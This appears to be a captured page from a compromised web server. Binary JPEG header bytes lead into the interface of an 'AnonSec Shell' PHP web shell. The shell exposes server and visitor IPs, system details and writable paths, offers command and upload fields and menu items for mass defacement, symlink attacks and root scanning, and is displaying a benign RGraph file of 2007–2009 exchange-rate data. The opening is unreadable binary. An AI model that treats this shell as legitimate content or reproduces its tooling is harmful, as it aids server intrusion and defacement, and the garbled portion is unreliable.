JFIF  H H C nxxd C "     &    !1A2Q"aqBb    1   ? R{~ ,.Y| @sl_޸s[+6ϵG};?2Y`&9LP ?3rj  "@V]:3T -G*P ( *(@AEY]qqqALn +Wtu?)l QU T* Aj- x:˸T u53Vh @PS@ ,i,!"\hPw+E@ ηnu ڶh% (Lvũbb- ?M֍݌٥IHln㏷L(6 9L^"6P  d&1H&8@TUT CJ%eʹFTj4i5=0g J &Wc+3kU@PS@HH33M * "Uc(\`F+b{RxWGk ^#Uj*v' V ,FYKɠMckZٸ]ePP  d\A2glo=WL(6 ^;k"ucoH"b ,PDVlvL_/:̗rN\m dcw T-O$w+FZ5T *Y~l: 99U)8ZAt@GLX*@bijqW;MᎹ،O[5*5*@=qusݝ *EPx՝.~ YИ 3M3@E)GTg%Anp P MUҀhԳW c֦iZ ffR 7qMcyAZT c0bZU k+oG<] APQ T A={PDti@c>>KÚ"q L.1P k6QY7t.k7o  <P &yַܼJZy Wz{UrS @ ~P)Y:A"]Y&ScVO%17 6l4 i4YR5 ruk* ؼdZͨZZ cLakb3N6æ\1`XTloTuT AA 7Uq@2ŬzoʼnБRͪ&8}: e}0ZNΖJ*Ս9˪ޘtao]7$ 9EjS} qt" ( .=Y:V#'H: δ4#6yjѥBB ;WD-ElFf67*\AmAD Q __'2$ TX 9nu'm@iPDT qS`%u%3[nY,  :g = tiX H]ij"+6Z* .~|05s6 ,ǡ ogm+ KtE-BF  ES@(UJ xM~8%g/= Vw[Vh 3lJT  rK -kˎY ٰ  ,ukͱٵf sXDP  ]p]&MS95O+j &f6m463@ t8ЕX=6}HR 5ٶ06 /@嚵*6  " hP@eVDiYQT `7tLf4c?m//B4 laj  L} :E  b#PHQb, yN`rkAb^ |} s4XB4 * ,@[{Ru+%le2} `,kI$U` >OMuh  P % ʵ/ L\5aɕVN1R6 3}ZLj-Dl@ *( K\^i@F@551 k㫖h  Q沬#h XV +;]6z OsFpiX $OQ ) ųl4 YtK'(W AnonSec Shell
AnonSec Shell
Server IP : 20.75.53.88  /  Your IP : 216.73.217.165   [ Reverse IP ]
Web Server : Apache
System : Linux VMRALP-3 4.4.0-256-generic #290~14.04.1-Ubuntu SMP Thu Jun 20 09:24:50 UTC 2024 x86_64
User : www-data ( 33)
PHP Version : 5.5.9-1ubuntu4.29+esm15
Disable Function : pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,
Domains : 3 Domains
MySQL : ON  |  cURL : OFF  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : ON
Directory :  /var/www/html/esic/cmbeberibe/js/RGraph/libraries/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME ]     [ BACKUP SHELL ]     [ JUMPING ]     [ MASS DEFACE ]     [ SCAN ROOT ]     [ SYMLINK ]     

Current File : /var/www/html/esic/cmbeberibe/js/RGraph/libraries/financial-data.js
UTC = Date.UTC;
data = [
    [2007, 0, 1, 0.7568],
    [2007, 0, 2, 0.7535],
    [2007, 0, 3, 0.7594],
    [2007, 0, 4, 0.7642],
    [2007, 0, 5, 0.7692],
    [2007, 0, 8, 0.7671],
    [2007, 0, 9, 0.7696],
    [2007, 0, 10, 0.773],
    [2007, 0, 11, 0.7757],
    [2007, 0, 12, 0.774],
    [2007, 0, 15, 0.7733],
    [2007, 0, 16, 0.7742],
    [2007, 0, 17, 0.773],
    [2007, 0, 18, 0.7717],
    [2007, 0, 19, 0.7723],
    [2007, 0, 22, 0.7724],
    [2007, 0, 23, 0.768],
    [2007, 0, 24, 0.7715],
    [2007, 0, 25, 0.7732],
    [2007, 0, 26, 0.7743],
    [2007, 0, 29, 0.7716],
    [2007, 0, 30, 0.7714],
    [2007, 0, 31, 0.7679],
    [2007, 1, 1, 0.7685],
    [2007, 1, 2, 0.7715],
    [2007, 1, 5, 0.7733],
    [2007, 1, 6, 0.7702],
    [2007, 1, 7, 0.7679],
    [2007, 1, 8, 0.7672],
    [2007, 1, 9, 0.7688],
    [2007, 1, 12, 0.7718],
    [2007, 1, 13, 0.7676],
    [2007, 1, 14, 0.7612],
    [2007, 1, 15, 0.7614],
    [2007, 1, 16, 0.7612],
    [2007, 1, 19, 0.7605],
    [2007, 1, 20, 0.7607],
    [2007, 1, 21, 0.7612],
    [2007, 1, 22, 0.7621],
    [2007, 1, 23, 0.7596],
    [2007, 1, 26, 0.758],
    [2007, 1, 27, 0.756],
    [2007, 1, 28, 0.756],
    [2007, 2, 1, 0.7596],
    [2007, 2, 2, 0.7582],
    [2007, 2, 5, 0.7642],
    [2007, 2, 6, 0.7613],
    [2007, 2, 7, 0.759],
    [2007, 2, 8, 0.7612],
    [2007, 2, 9, 0.7625],
    [2007, 2, 12, 0.7583],
    [2007, 2, 13, 0.7583],
    [2007, 2, 14, 0.7557],
    [2007, 2, 15, 0.753],
    [2007, 2, 16, 0.7511],
    [2007, 2, 19, 0.7522],
    [2007, 2, 20, 0.7511],
    [2007, 2, 21, 0.7464],
    [2007, 2, 22, 0.7503],
    [2007, 2, 26, 0.7504],
    [2007, 2, 27, 0.7518],
    [2007, 2, 28, 0.7515],
    [2007, 2, 29, 0.7502],
    [2007, 2, 30, 0.7488],
    [2007, 3, 2, 0.7481],
    [2007, 3, 3, 0.7506],
    [2007, 3, 4, 0.7478],
    [2007, 3, 5, 0.745],
    [2007, 3, 6, 0.7472],
    [2007, 3, 9, 0.7489],
    [2007, 3, 10, 0.7447],
    [2007, 3, 11, 0.7443],
    [2007, 3, 12, 0.7416],
    [2007, 3, 13, 0.7394],
    [2007, 3, 16, 0.7393],
    [2007, 3, 17, 0.7369],
    [2007, 3, 18, 0.7345],
    [2007, 3, 19, 0.734],
    [2007, 3, 20, 0.7361],
    [2007, 3, 23, 0.7365],
    [2007, 3, 24, 0.7335],
    [2007, 3, 25, 0.7325],
    [2007, 3, 26, 0.7357],
    [2007, 3, 27, 0.7323],
    [2007, 3, 30, 0.7325],
    [2007, 4, 1, 0.7351],
    [2007, 4, 2, 0.7356],
    [2007, 4, 3, 0.7379],
    [2007, 4, 4, 0.7362],
    [2007, 4, 7, 0.7355],
    [2007, 4, 8, 0.7386],
    [2007, 4, 9, 0.7389],
    [2007, 4, 10, 0.742],
    [2007, 4, 11, 0.7395],
    [2007, 4, 14, 0.7384],
    [2007, 4, 15, 0.7358],
    [2007, 4, 16, 0.7396],
    [2007, 4, 17, 0.741],
    [2007, 4, 18, 0.7404],
    [2007, 4, 21, 0.7429],
    [2007, 4, 22, 0.7436],
    [2007, 4, 23, 0.7432],
    [2007, 4, 24, 0.745],
    [2007, 4, 25, 0.7435],
    [2007, 4, 28, 0.7434],
    [2007, 4, 29, 0.7434],
    [2007, 4, 30, 0.7446],
    [2007, 4, 31, 0.7432],
    [2007, 5, 1, 0.7439],
    [2007, 5, 4, 0.7412],
    [2007, 5, 5, 0.7397],
    [2007, 5, 6, 0.741],
    [2007, 5, 7, 0.7449],
    [2007, 5, 8, 0.748],
    [2007, 5, 11, 0.7491],
    [2007, 5, 12, 0.7518],
    [2007, 5, 13, 0.7515],
    [2007, 5, 14, 0.7515],
    [2007, 5, 15, 0.7476],
    [2007, 5, 18, 0.7454],
    [2007, 5, 19, 0.7449],
    [2007, 5, 20, 0.7463],
    [2007, 5, 21, 0.7469],
    [2007, 5, 22, 0.7427],
    [2007, 5, 25, 0.7427],
    [2007, 5, 26, 0.7435],
    [2007, 5, 27, 0.7433],
    [2007, 5, 28, 0.7444],
    [2007, 5, 29, 0.7384],
    [2007, 6, 2, 0.7342],
    [2007, 6, 3, 0.7349],
    [2007, 6, 4, 0.7343],
    [2007, 6, 5, 0.7356],
    [2007, 6, 6, 0.734],
    [2007, 6, 9, 0.7342],
    [2007, 6, 10, 0.7276],
    [2007, 6, 11, 0.7275],
    [2007, 6, 12, 0.7254],
    [2007, 6, 13, 0.7254],
    [2007, 6, 16, 0.726],
    [2007, 6, 17, 0.725],
    [2007, 6, 18, 0.7243],
    [2007, 6, 19, 0.7248],
    [2007, 6, 20, 0.7229],
    [2007, 6, 23, 0.7247],
    [2007, 6, 24, 0.7235],
    [2007, 6, 25, 0.7288],
    [2007, 6, 26, 0.7272],
    [2007, 6, 27, 0.7335],
    [2007, 6, 30, 0.7289],
    [2007, 6, 31, 0.7314],
    [2007, 7, 1, 0.7318],
    [2007, 7, 2, 0.7298],
    [2007, 7, 3, 0.7256],
    [2007, 7, 6, 0.7242],
    [2007, 7, 7, 0.7273],
    [2007, 7, 8, 0.7246],
    [2007, 7, 9, 0.7319],
    [2007, 7, 10, 0.7303],
    [2007, 7, 13, 0.7349],
    [2007, 7, 14, 0.7391],
    [2007, 7, 15, 0.7447],
    [2007, 7, 16, 0.7446],
    [2007, 7, 17, 0.7423],
    [2007, 7, 20, 0.7423],
    [2007, 7, 21, 0.7426],
    [2007, 7, 22, 0.7382],
    [2007, 7, 23, 0.7374],
    [2007, 7, 24, 0.731],
    [2007, 7, 27, 0.7334],
    [2007, 7, 28, 0.7366],
    [2007, 7, 29, 0.7316],
    [2007, 7, 30, 0.7316],
    [2007, 7, 31, 0.7337],
    [2007, 8, 3, 0.7346],
    [2007, 8, 4, 0.7341],
    [2007, 8, 5, 0.7325],
    [2007, 8, 6, 0.7304],
    [2007, 8, 7, 0.7265],
    [2007, 8, 10, 0.7251],
    [2007, 8, 11, 0.7226],
    [2007, 8, 12, 0.7198],
    [2007, 8, 13, 0.7209],
    [2007, 8, 14, 0.7208],
    [2007, 8, 17, 0.7212],
    [2007, 8, 18, 0.7155],
    [2007, 8, 19, 0.7156],
    [2007, 8, 20, 0.7108],
    [2007, 8, 21, 0.7097],
    [2007, 8, 24, 0.7107],
    [2007, 8, 25, 0.7069],
    [2007, 8, 26, 0.7079],
    [2007, 8, 27, 0.7065],
    [2007, 8, 28, 0.7007],
    [2007, 9, 1, 0.7027],
    [2007, 9, 2, 0.7066],
    [2007, 9, 3, 0.7094],
    [2007, 9, 4, 0.7075],
    [2007, 9, 5, 0.7077],
    [2007, 9, 8, 0.712],
    [2007, 9, 9, 0.7089],
    [2007, 9, 10, 0.7073],
    [2007, 9, 11, 0.7043],
    [2007, 9, 12, 0.7057],
    [2007, 9, 15, 0.7043],
    [2007, 9, 16, 0.7055],
    [2007, 9, 17, 0.704],
    [2007, 9, 18, 0.6998],
    [2007, 9, 19, 0.6993],
    [2007, 9, 22, 0.7054],
    [2007, 9, 23, 0.7015],
    [2007, 9, 24, 0.7012],
    [2007, 9, 25, 0.6981],
    [2007, 9, 26, 0.6949],
    [2007, 9, 29, 0.6936],
    [2007, 9, 30, 0.6926],
    [2007, 9, 31, 0.691],
    [2007, 10, 1, 0.6933],
    [2007, 10, 2, 0.6898],
    [2007, 10, 5, 0.6908],
    [2007, 10, 6, 0.6868],
    [2007, 10, 7, 0.6839],
    [2007, 10, 8, 0.6813],
    [2007, 10, 9, 0.6815],
    [2007, 10, 12, 0.6888],
    [2007, 10, 13, 0.684],
    [2007, 10, 14, 0.6825],
    [2007, 10, 15, 0.6841],
    [2007, 10, 16, 0.6822],
    [2007, 10, 19, 0.6818],
    [2007, 10, 20, 0.6743],
    [2007, 10, 21, 0.6731],
    [2007, 10, 22, 0.6734],
    [2007, 10, 23, 0.674],
    [2007, 10, 26, 0.6724],
    [2007, 10, 27, 0.6741],
    [2007, 10, 28, 0.6739],
    [2007, 10, 29, 0.6776],
    [2007, 10, 30, 0.6834],
    [2007, 11, 3, 0.6817],
    [2007, 11, 4, 0.6774],
    [2007, 11, 5, 0.6852],
    [2007, 11, 6, 0.6823],
    [2007, 11, 7, 0.6824],
    [2007, 11, 10, 0.6799],
    [2007, 11, 11, 0.6822],
    [2007, 11, 12, 0.6797],
    [2007, 11, 13, 0.6837],
    [2007, 11, 14, 0.693],
    [2007, 11, 17, 0.694],
    [2007, 11, 18, 0.6936],
    [2007, 11, 19, 0.6954],
    [2007, 11, 20, 0.6978],
    [2007, 11, 21, 0.6955],
    [2007, 11, 24, 0.6947],
    [2007, 11, 25, 0.6947],
    [2007, 11, 26, 0.6905],
    [2007, 11, 27, 0.6845],
    [2007, 11, 28, 0.6793],
    [2007, 11, 31, 0.6856],
    [2008, 0, 1, 0.6841],
    [2008, 0, 2, 0.6796],
    [2008, 0, 3, 0.6783],
    [2008, 0, 4, 0.6784],
    [2008, 0, 7, 0.6812],
    [2008, 0, 8, 0.68],
    [2008, 0, 9, 0.6822],
    [2008, 0, 10, 0.6757],
    [2008, 0, 11, 0.6769],
    [2008, 0, 14, 0.6727],
    [2008, 0, 15, 0.6757],
    [2008, 0, 16, 0.6821],
    [2008, 0, 17, 0.6832],
    [2008, 0, 18, 0.684],
    [2008, 0, 20, 0.6851],
    [2008, 0, 21, 0.6936],
    [2008, 0, 22, 0.6829],
    [2008, 0, 23, 0.6837],
    [2008, 0, 24, 0.677],
    [2008, 0, 25, 0.6812],
    [2008, 0, 27, 0.6807],
    [2008, 0, 28, 0.6763],
    [2008, 0, 29, 0.6772],
    [2008, 0, 30, 0.6745],
    [2008, 0, 31, 0.6728],
    [2008, 1, 1, 0.6756],
    [2008, 1, 3, 0.6758],
    [2008, 1, 4, 0.6745],
    [2008, 1, 5, 0.6833],
    [2008, 1, 6, 0.6844],
    [2008, 1, 7, 0.6908],
    [2008, 1, 8, 0.6894],
    [2008, 1, 10, 0.6886],
    [2008, 1, 11, 0.6898],
    [2008, 1, 12, 0.6859],
    [2008, 1, 13, 0.6871],
    [2008, 1, 14, 0.6831],
    [2008, 1, 15, 0.6812],
    [2008, 1, 17, 0.6816],
    [2008, 1, 18, 0.6826],
    [2008, 1, 19, 0.679],
    [2008, 1, 20, 0.6793],
    [2008, 1, 21, 0.6751],
    [2008, 1, 22, 0.6745],
    [2008, 1, 24, 0.6741],
    [2008, 1, 25, 0.6743],
    [2008, 1, 26, 0.6668],
    [2008, 1, 27, 0.6616],
    [2008, 1, 28, 0.6582],
    [2008, 1, 29, 0.6588],
    [2008, 2, 2, 0.6576],
    [2008, 2, 3, 0.658],
    [2008, 2, 4, 0.6577],
    [2008, 2, 5, 0.6546],
    [2008, 2, 6, 0.6502],
    [2008, 2, 7, 0.6513],
    [2008, 2, 8, 0.6494],
    [2008, 2, 10, 0.6521],
    [2008, 2, 11, 0.6521],
    [2008, 2, 12, 0.6435],
    [2008, 2, 13, 0.6402],
    [2008, 2, 14, 0.6377],
    [2008, 2, 16, 0.6369],
    [2008, 2, 17, 0.6352],
    [2008, 2, 18, 0.6388],
    [2008, 2, 19, 0.6395],
    [2008, 2, 20, 0.6478],
    [2008, 2, 21, 0.648],
    [2008, 2, 24, 0.648],
    [2008, 2, 25, 0.6406],
    [2008, 2, 26, 0.6321],
    [2008, 2, 27, 0.6325],
    [2008, 2, 28, 0.633],
    [2008, 2, 31, 0.6346],
    [2008, 3, 1, 0.6403],
    [2008, 3, 2, 0.638],
    [2008, 3, 3, 0.6385],
    [2008, 3, 4, 0.6358],
    [2008, 3, 7, 0.6367],
    [2008, 3, 8, 0.6371],
    [2008, 3, 9, 0.6322],
    [2008, 3, 10, 0.6346],
    [2008, 3, 11, 0.6333],
    [2008, 3, 14, 0.6319],
    [2008, 3, 15, 0.6335],
    [2008, 3, 16, 0.6275],
    [2008, 3, 17, 0.6287],
    [2008, 3, 18, 0.6323],
    [2008, 3, 21, 0.6285],
    [2008, 3, 22, 0.6261],
    [2008, 3, 23, 0.6297],
    [2008, 3, 24, 0.638],
    [2008, 3, 25, 0.6398],
    [2008, 3, 28, 0.6388],
    [2008, 3, 29, 0.642],
    [2008, 3, 30, 0.64],
    [2008, 4, 1, 0.6461],
    [2008, 4, 2, 0.6483],
    [2008, 4, 5, 0.6451],
    [2008, 4, 6, 0.6445],
    [2008, 4, 7, 0.6518],
    [2008, 4, 8, 0.6492],
    [2008, 4, 9, 0.6456],
    [2008, 4, 12, 0.6439],
    [2008, 4, 13, 0.6465],
    [2008, 4, 14, 0.6466],
    [2008, 4, 15, 0.647],
    [2008, 4, 16, 0.6421],
    [2008, 4, 19, 0.644],
    [2008, 4, 20, 0.6391],
    [2008, 4, 21, 0.6337],
    [2008, 4, 22, 0.6357],
    [2008, 4, 23, 0.6344],
    [2008, 4, 26, 0.6338],
    [2008, 4, 27, 0.6374],
    [2008, 4, 28, 0.6387],
    [2008, 4, 29, 0.6445],
    [2008, 4, 30, 0.643],
    [2008, 5, 2, 0.6435],
    [2008, 5, 3, 0.6472],
    [2008, 5, 4, 0.648],
    [2008, 5, 5, 0.6412],
    [2008, 5, 6, 0.6337],
    [2008, 5, 9, 0.6391],
    [2008, 5, 10, 0.6469],
    [2008, 5, 11, 0.6428],
    [2008, 5, 12, 0.6474],
    [2008, 5, 13, 0.6502],
    [2008, 5, 16, 0.6466],
    [2008, 5, 17, 0.6445],
    [2008, 5, 18, 0.6433],
    [2008, 5, 19, 0.6453],
    [2008, 5, 20, 0.6406],
    [2008, 5, 23, 0.6443],
    [2008, 5, 24, 0.6421],
    [2008, 5, 25, 0.6384],
    [2008, 5, 26, 0.6345],
    [2008, 5, 27, 0.6335],
    [2008, 5, 30, 0.6345],
    [2008, 6, 1, 0.6334],
    [2008, 6, 2, 0.6298],
    [2008, 6, 3, 0.6376],
    [2008, 6, 4, 0.6367],
    [2008, 6, 7, 0.636],
    [2008, 6, 8, 0.6384],
    [2008, 6, 9, 0.6358],
    [2008, 6, 10, 0.6335],
    [2008, 6, 11, 0.6272],
    [2008, 6, 14, 0.6294],
    [2008, 6, 15, 0.6283],
    [2008, 6, 16, 0.6319],
    [2008, 6, 17, 0.6309],
    [2008, 6, 18, 0.631],
    [2008, 6, 21, 0.6285],
    [2008, 6, 22, 0.6338],
    [2008, 6, 23, 0.6377],
    [2008, 6, 24, 0.6376],
    [2008, 6, 25, 0.6365],
    [2008, 6, 28, 0.6352],
    [2008, 6, 29, 0.6415],
    [2008, 6, 30, 0.6418],
    [2008, 6, 31, 0.6418],
    [2008, 7, 1, 0.6425],
    [2008, 7, 4, 0.6425],
    [2008, 7, 5, 0.6466],
    [2008, 7, 6, 0.6485],
    [2008, 7, 7, 0.6531],
    [2008, 7, 8, 0.6663],
    [2008, 7, 11, 0.6706],
    [2008, 7, 12, 0.6715],
    [2008, 7, 13, 0.6713],
    [2008, 7, 14, 0.6769],
    [2008, 7, 15, 0.6803],
    [2008, 7, 18, 0.6805],
    [2008, 7, 19, 0.676],
    [2008, 7, 20, 0.6779],
    [2008, 7, 21, 0.6717],
    [2008, 7, 22, 0.6764],
    [2008, 7, 25, 0.6791],
    [2008, 7, 26, 0.6828],
    [2008, 7, 27, 0.6782],
    [2008, 7, 28, 0.6801],
    [2008, 7, 29, 0.6816],
    [2008, 8, 1, 0.6858],
    [2008, 8, 2, 0.6903],
    [2008, 8, 3, 0.689],
    [2008, 8, 4, 0.7014],
    [2008, 8, 5, 0.7013],
    [2008, 8, 8, 0.7075],
    [2008, 8, 9, 0.7096],
    [2008, 8, 10, 0.7175],
    [2008, 8, 11, 0.7139],
    [2008, 8, 12, 0.7033],
    [2008, 8, 15, 0.7021],
    [2008, 8, 16, 0.7058],
    [2008, 8, 17, 0.6975],
    [2008, 8, 18, 0.6993],
    [2008, 8, 19, 0.6913],
    [2008, 8, 22, 0.6756],
    [2008, 8, 23, 0.681],
    [2008, 8, 24, 0.6825],
    [2008, 8, 25, 0.6819],
    [2008, 8, 26, 0.6855],
    [2008, 8, 29, 0.6961],
    [2008, 8, 30, 0.7083],
    [2008, 9, 1, 0.7149],
    [2008, 9, 2, 0.7254],
    [2008, 9, 3, 0.7255],
    [2008, 9, 6, 0.74],
    [2008, 9, 7, 0.737],
    [2008, 9, 8, 0.7348],
    [2008, 9, 9, 0.7374],
    [2008, 9, 10, 0.7465],
    [2008, 9, 13, 0.7323],
    [2008, 9, 14, 0.7374],
    [2008, 9, 15, 0.7443],
    [2008, 9, 16, 0.7414],
    [2008, 9, 17, 0.7456],
    [2008, 9, 20, 0.7497],
    [2008, 9, 21, 0.7688],
    [2008, 9, 22, 0.783],
    [2008, 9, 23, 0.7753],
    [2008, 9, 24, 0.7923],
    [2008, 9, 27, 0.8022],
    [2008, 9, 28, 0.7809],
    [2008, 9, 29, 0.7719],
    [2008, 9, 30, 0.7769],
    [2008, 9, 31, 0.7855],
    [2008, 10, 3, 0.7928],
    [2008, 10, 4, 0.7703],
    [2008, 10, 5, 0.7744],
    [2008, 10, 6, 0.7881],
    [2008, 10, 7, 0.7864],
    [2008, 10, 10, 0.7846],
    [2008, 10, 11, 0.7993],
    [2008, 10, 12, 0.8028],
    [2008, 10, 13, 0.7821],
    [2008, 10, 14, 0.7933],
    [2008, 10, 17, 0.7911],
    [2008, 10, 18, 0.7915],
    [2008, 10, 19, 0.7999],
    [2008, 10, 20, 0.8041],
    [2008, 10, 21, 0.7945],
    [2008, 10, 24, 0.7744],
    [2008, 10, 25, 0.7676],
    [2008, 10, 26, 0.7756],
    [2008, 10, 27, 0.7754],
    [2008, 10, 28, 0.7881],
    [2008, 11, 1, 0.794],
    [2008, 11, 2, 0.787],
    [2008, 11, 3, 0.7872],
    [2008, 11, 4, 0.783],
    [2008, 11, 5, 0.7868],
    [2008, 11, 8, 0.7744],
    [2008, 11, 9, 0.7736],
    [2008, 11, 10, 0.7685],
    [2008, 11, 11, 0.7504],
    [2008, 11, 12, 0.7481],
    [2008, 11, 15, 0.7302],
    [2008, 11, 16, 0.711],
    [2008, 11, 17, 0.6942],
    [2008, 11, 18, 0.6996],
    [2008, 11, 19, 0.7189],
    [2008, 11, 22, 0.7166],
    [2008, 11, 23, 0.7177],
    [2008, 11, 24, 0.7142],
    [2008, 11, 25, 0.7136],
    [2008, 11, 26, 0.7129],
    [2008, 11, 29, 0.7127],
    [2008, 11, 30, 0.7073],
    [2008, 11, 31, 0.7156],
    [2009, 0, 1, 0.7143],
    [2009, 0, 2, 0.7184],
    [2009, 0, 5, 0.7334],
    [2009, 0, 6, 0.7406],
    [2009, 0, 7, 0.7346],
    [2009, 0, 8, 0.7301],
    [2009, 0, 9, 0.7421],
    [2009, 0, 12, 0.7487],
    [2009, 0, 13, 0.7576],
    [2009, 0, 14, 0.7569],
    [2009, 0, 15, 0.76],
    [2009, 0, 16, 0.7538],
    [2009, 0, 19, 0.764],
    [2009, 0, 20, 0.7762],
    [2009, 0, 21, 0.7692],
    [2009, 0, 22, 0.7691],
    [2009, 0, 23, 0.7708],
    [2009, 0, 26, 0.7584],
    [2009, 0, 27, 0.7569],
    [2009, 0, 28, 0.7603],
    [2009, 0, 29, 0.7731],
    [2009, 0, 30, 0.7805],
    [2009, 1, 2, 0.7805],
    [2009, 1, 3, 0.7686],
    [2009, 1, 4, 0.778],
    [2009, 1, 5, 0.7819],
    [2009, 1, 6, 0.7729],
    [2009, 1, 9, 0.7717],
    [2009, 1, 10, 0.7746],
    [2009, 1, 11, 0.7773],
    [2009, 1, 12, 0.7762],
    [2009, 1, 13, 0.7775],
    [2009, 1, 16, 0.7815],
    [2009, 1, 17, 0.7948],
    [2009, 1, 18, 0.7959],
    [2009, 1, 19, 0.7901],
    [2009, 1, 20, 0.7797],
    [2009, 1, 23, 0.7893],
    [2009, 1, 24, 0.777],
    [2009, 1, 25, 0.7864],
    [2009, 1, 26, 0.7865],
    [2009, 1, 27, 0.7896],
    [2009, 2, 2, 0.7962],
    [2009, 2, 3, 0.7982],
    [2009, 2, 4, 0.7916],
    [2009, 2, 5, 0.7972],
    [2009, 2, 6, 0.7904],
    [2009, 2, 9, 0.7925],
    [2009, 2, 10, 0.7865],
    [2009, 2, 11, 0.781],
    [2009, 2, 12, 0.7754],
    [2009, 2, 13, 0.7735],
    [2009, 2, 16, 0.7709],
    [2009, 2, 17, 0.7674],
    [2009, 2, 18, 0.7415],
    [2009, 2, 19, 0.7321],
    [2009, 2, 20, 0.7364],
    [2009, 2, 23, 0.7343],
    [2009, 2, 24, 0.7418],
    [2009, 2, 25, 0.7368],
    [2009, 2, 26, 0.7393],
    [2009, 2, 27, 0.7527],
    [2009, 2, 30, 0.7583],
    [2009, 2, 31, 0.7541],
    [2009, 3, 1, 0.7553],
    [2009, 3, 2, 0.7423],
    [2009, 3, 3, 0.7418],
    [2009, 3, 6, 0.7506],
    [2009, 3, 7, 0.7537],
    [2009, 3, 8, 0.7549],
    [2009, 3, 9, 0.7623],
    [2009, 3, 10, 0.7583],
    [2009, 3, 13, 0.7477],
    [2009, 3, 14, 0.7539],
    [2009, 3, 15, 0.7563],
    [2009, 3, 16, 0.7585],
    [2009, 3, 17, 0.7668],
    [2009, 3, 20, 0.775],
    [2009, 3, 21, 0.773],
    [2009, 3, 22, 0.7688],
    [2009, 3, 23, 0.762],
    [2009, 3, 24, 0.7552],
    [2009, 3, 27, 0.7679],
    [2009, 3, 28, 0.7616],
    [2009, 3, 29, 0.7539],
    [2009, 3, 30, 0.7552],
    [2009, 4, 1, 0.7534],
    [2009, 4, 4, 0.7454],
    [2009, 4, 5, 0.7517],
    [2009, 4, 6, 0.7519],
    [2009, 4, 7, 0.747],
    [2009, 4, 8, 0.7335],
    [2009, 4, 11, 0.7362],
    [2009, 4, 12, 0.7312],
    [2009, 4, 13, 0.7386],
    [2009, 4, 14, 0.7336],
    [2009, 4, 15, 0.7411],
    [2009, 4, 18, 0.738],
    [2009, 4, 19, 0.733],
    [2009, 4, 20, 0.7256],
    [2009, 4, 21, 0.7174],
    [2009, 4, 22, 0.7145],
    [2009, 4, 25, 0.7139],
    [2009, 4, 26, 0.7147],
    [2009, 4, 27, 0.723],
    [2009, 4, 28, 0.7171],
    [2009, 4, 29, 0.7065],
    [2009, 5, 1, 0.7052],
    [2009, 5, 2, 0.6999],
    [2009, 5, 3, 0.7072],
    [2009, 5, 4, 0.7059],
    [2009, 5, 5, 0.7163],
    [2009, 5, 8, 0.718],
    [2009, 5, 9, 0.7112],
    [2009, 5, 10, 0.7151],
    [2009, 5, 11, 0.708],
    [2009, 5, 12, 0.7136],
    [2009, 5, 14, 0.7155],
    [2009, 5, 15, 0.7261],
    [2009, 5, 16, 0.7239],
    [2009, 5, 17, 0.716],
    [2009, 5, 18, 0.7193],
    [2009, 5, 19, 0.7145],
    [2009, 5, 22, 0.7221],
    [2009, 5, 23, 0.7108],
    [2009, 5, 24, 0.7173],
    [2009, 5, 26, 0.7114],
    [2009, 5, 29, 0.7093],
    [2009, 5, 30, 0.7124],
    [2009, 6, 1, 0.707],
    [2009, 6, 2, 0.7164],
    [2009, 6, 3, 0.7161],
    [2009, 6, 6, 0.7147],
    [2009, 6, 7, 0.7196],
    [2009, 6, 8, 0.7214],
    [2009, 6, 9, 0.7138],
    [2009, 6, 10, 0.7178],
    [2009, 6, 13, 0.7141],
    [2009, 6, 14, 0.7154],
    [2009, 6, 15, 0.7096],
    [2009, 6, 16, 0.7076],
    [2009, 6, 17, 0.7095],
    [2009, 6, 20, 0.7038],
    [2009, 6, 21, 0.7044],
    [2009, 6, 22, 0.7041],
    [2009, 6, 23, 0.7062],
